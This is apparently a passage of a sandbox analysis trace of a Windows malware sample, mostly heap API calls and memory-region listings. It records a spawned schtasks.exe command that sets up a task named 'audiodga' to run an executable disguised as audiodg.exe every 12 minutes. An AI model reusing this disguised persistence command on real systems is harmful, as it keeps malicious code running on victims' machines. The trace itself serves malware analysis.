[0069.740] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6a0 | out: hHeap=0x130000) returned 1 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce60) returned 1 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce60) returned 0x20 [0069.741] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce60 | out: hHeap=0x130000) returned 1 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6c0) returned 1 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d6c0) returned 0xe [0069.741] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6c0 | out: hHeap=0x130000) returned 1 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce30) returned 1 [0069.741] GetProcessHeap () returned 0x130000 [0069.741] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce30) returned 0x20 [0069.742] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce30 | out: hHeap=0x130000) returned 1 [0069.742] GetProcessHeap () returned 0x130000 [0069.742] GetProcessHeap () returned 0x130000 [0069.742] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6e0) returned 1 [0069.742] GetProcessHeap () returned 0x130000 [0069.742] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d6e0) returned 0x16 [0069.742] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d6e0 | out: hHeap=0x130000) returned 1 [0069.742] GetProcessHeap () returned 0x130000 [0069.742] GetProcessHeap () returned 0x130000 [0069.742] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce00) returned 1 [0069.742] GetProcessHeap () returned 0x130000 [0069.742] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ce00) returned 0x20 [0069.743] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ce00 | out: hHeap=0x130000) returned 1 [0069.743] GetProcessHeap () returned 0x130000 [0069.743] GetProcessHeap () returned 0x130000 [0069.743] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d700) returned 1 [0069.743] GetProcessHeap () returned 0x130000 [0069.743] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d700) returned 0x16 [0069.743] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d700 | out: hHeap=0x130000) returned 1 [0069.743] GetProcessHeap () returned 0x130000 [0069.743] GetProcessHeap () returned 0x130000 [0069.743] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cdd0) returned 1 [0069.743] GetProcessHeap () returned 0x130000 [0069.743] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cdd0) returned 0x20 [0069.744] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cdd0 | out: hHeap=0x130000) returned 1 [0069.744] GetProcessHeap () returned 0x130000 [0069.744] GetProcessHeap () returned 0x130000 [0069.744] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x169b70) returned 1 [0069.744] GetProcessHeap () returned 0x130000 [0069.744] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x169b70) returned 0x82 [0069.744] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x169b70 | out: hHeap=0x130000) returned 1 [0069.744] GetProcessHeap () returned 0x130000 [0069.744] GetProcessHeap () returned 0x130000 [0069.744] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cda0) returned 1 [0069.744] GetProcessHeap () returned 0x130000 [0069.744] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cda0) returned 0x20 [0069.744] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cda0 | out: hHeap=0x130000) returned 1 [0069.744] GetProcessHeap () returned 0x130000 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14d740) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14d740) returned 0xe [0069.745] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14d740 | out: hHeap=0x130000) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14cd70) returned 0x20 [0069.745] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14cd70 | out: hHeap=0x130000) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb10) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bb10) returned 0x18 [0069.745] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb10 | out: hHeap=0x130000) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] GetProcessHeap () returned 0x130000 [0069.745] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145ab0) returned 1 [0069.745] GetProcessHeap () returned 0x130000 [0069.746] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145ab0) returned 0x20 [0069.746] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145ab0 | out: hHeap=0x130000) returned 1 [0069.746] GetProcessHeap () returned 0x130000 [0069.746] GetProcessHeap () returned 0x130000 [0069.746] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145ae0) returned 1 [0069.746] GetProcessHeap () returned 0x130000 [0069.746] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145ae0) returned 0x20 [0069.747] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145ae0 | out: hHeap=0x130000) returned 1 [0069.747] GetProcessHeap () returned 0x130000 [0069.747] GetProcessHeap () returned 0x130000 [0069.747] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b10) returned 1 [0069.747] GetProcessHeap () returned 0x130000 [0069.747] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b10) returned 0x20 [0069.747] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b10 | out: hHeap=0x130000) returned 1 [0069.747] GetProcessHeap () returned 0x130000 [0069.747] GetProcessHeap () returned 0x130000 [0069.747] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b40) returned 1 [0069.747] GetProcessHeap () returned 0x130000 [0069.747] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b40) returned 0x20 [0069.747] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b40 | out: hHeap=0x130000) returned 1 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb30) returned 1 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bb30) returned 0x18 [0069.748] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb30 | out: hHeap=0x130000) returned 1 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145b70) returned 1 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145b70) returned 0x20 [0069.748] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145b70 | out: hHeap=0x130000) returned 1 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c00) returned 1 [0069.748] GetProcessHeap () returned 0x130000 [0069.748] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c00) returned 0x20 [0069.749] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c00 | out: hHeap=0x130000) returned 1 [0069.749] GetProcessHeap () returned 0x130000 [0069.749] GetProcessHeap () returned 0x130000 [0069.749] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c60) returned 1 [0069.749] GetProcessHeap () returned 0x130000 [0069.749] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c60) returned 0x20 [0069.750] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c60 | out: hHeap=0x130000) returned 1 [0069.750] GetProcessHeap () returned 0x130000 [0069.750] GetProcessHeap () returned 0x130000 [0069.750] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145cc0) returned 1 [0069.750] GetProcessHeap () returned 0x130000 [0069.750] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145cc0) returned 0x20 [0069.751] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145cc0 | out: hHeap=0x130000) returned 1 [0069.751] GetProcessHeap () returned 0x130000 [0069.751] GetProcessHeap () returned 0x130000 [0069.751] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145cf0) returned 1 [0069.751] GetProcessHeap () returned 0x130000 [0069.751] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145cf0) returned 0x20 [0069.752] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145cf0 | out: hHeap=0x130000) returned 1 [0069.752] GetProcessHeap () returned 0x130000 [0069.752] GetProcessHeap () returned 0x130000 [0069.752] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb50) returned 1 [0069.752] GetProcessHeap () returned 0x130000 [0069.752] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bb50) returned 0x18 [0069.752] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bb50 | out: hHeap=0x130000) returned 1 [0069.752] GetProcessHeap () returned 0x130000 [0069.752] GetProcessHeap () returned 0x130000 [0069.752] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x145c30) returned 1 [0069.753] GetProcessHeap () returned 0x130000 [0069.753] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x145c30) returned 0x20 [0069.753] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x145c30 | out: hHeap=0x130000) returned 1 [0069.753] GetProcessHeap () returned 0x130000 [0069.753] GetProcessHeap () returned 0x130000 [0069.753] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14bad0) returned 1 [0069.753] GetProcessHeap () returned 0x130000 [0069.753] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14bad0) returned 0x18 [0069.753] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14bad0 | out: hHeap=0x130000) returned 1 [0069.753] exit (_Code=0) Thread: id = 131 os_tid = 0xf98 Process: id = "26" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3b847000" os_pid = "0xf9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 12 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2742 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2743 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2744 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2745 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2746 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2747 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2748 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2749 start_va = 0xff3d0000 end_va = 0xff417fff monitored = 1 entry_point = 0xff3f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2750 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2751 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2752 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2753 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2754 start_va = 0x200000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2755 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2756 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2757 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2758 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2759 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2760 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2761 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2762 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2763 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2764 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2765 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2766 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2767 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2768 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2769 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2770 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2771 start_va = 0xc0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2772 start_va = 0x200000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2773 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2774 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2775 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2776 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2777 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2778 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2779 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2780 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2781 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 2782 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2783 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2784 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2785 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2786 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2787 start_va = 0x300000 end_va = 0x37cfff monitored = 0 entry_point = 0x30cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2788 start_va = 0x300000 end_va = 0x37cfff monitored = 0 entry_point = 0x30cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2789 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2790 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2791 start_va = 0x1e80000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 2792 start_va = 0x1f20000 end_va = 0x1ffefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 2793 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2794 start_va = 0x21d0000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 2795 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2796 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2797 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2798 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2799 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2800 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2801 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2805 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 132 os_tid = 0xfa0 [0069.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffe00 | out: lpSystemTimeAsFileTime=0x1ffe00*(dwLowDateTime=0x529ffd60, dwHighDateTime=0x1d9eb0c)) [0069.892] GetCurrentProcessId () returned 0xf9c [0069.892] GetCurrentThreadId () returned 0xfa0 [0069.892] GetTickCount () returned 0x1766f5c [0069.892] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1ffe08 | out: lpPerformanceCount=0x1ffe08*=2487637553933) returned 1 [0069.893] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0069.893] __set_app_type (_Type=0x1) [0069.893] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f972c) returned 0x0 [0069.893] __wgetmainargs (in: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248, _DoWildCard=0, _StartInfo=0xff41125c | out: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248) returned 0 [0069.894] _onexit (_Func=0xff402ab0) returned 0xff402ab0 [0069.894] _onexit (_Func=0xff402ac4) returned 0xff402ac4 [0069.894] _onexit (_Func=0xff402afc) returned 0xff402afc [0069.894] _onexit (_Func=0xff402b58) returned 0xff402b58 [0069.894] _onexit (_Func=0xff402b80) returned 0xff402b80 [0069.894] _onexit (_Func=0xff402ba8) returned 0xff402ba8 [0069.894] _onexit (_Func=0xff402bd0) returned 0xff402bd0 [0069.894] _onexit (_Func=0xff402bf8) returned 0xff402bf8 [0069.895] _onexit (_Func=0xff402c20) returned 0xff402c20 [0069.895] _onexit (_Func=0xff402c48) returned 0xff402c48 [0069.895] _onexit (_Func=0xff402c70) returned 0xff402c70 [0069.895] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.895] WinSqmIsOptedIn () returned 0x0 [0069.895] GetProcessHeap () returned 0x390000 [0069.895] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abab0 [0069.895] SetLastError (dwErrCode=0x0) [0069.896] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0069.896] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0069.896] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0069.896] VerifyVersionInfoW (in: lpVersionInformation=0x1ff5c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1ff5c0) returned 1 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abad0 [0069.896] lstrlenW (lpString="") returned 0 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x2) returned 0x3abaf0 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a59f0 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3abb10 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5a20 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5a50 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5a80 [0069.896] GetProcessHeap () returned 0x390000 [0069.896] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x20) returned 0x3a5ab0 [0069.896] 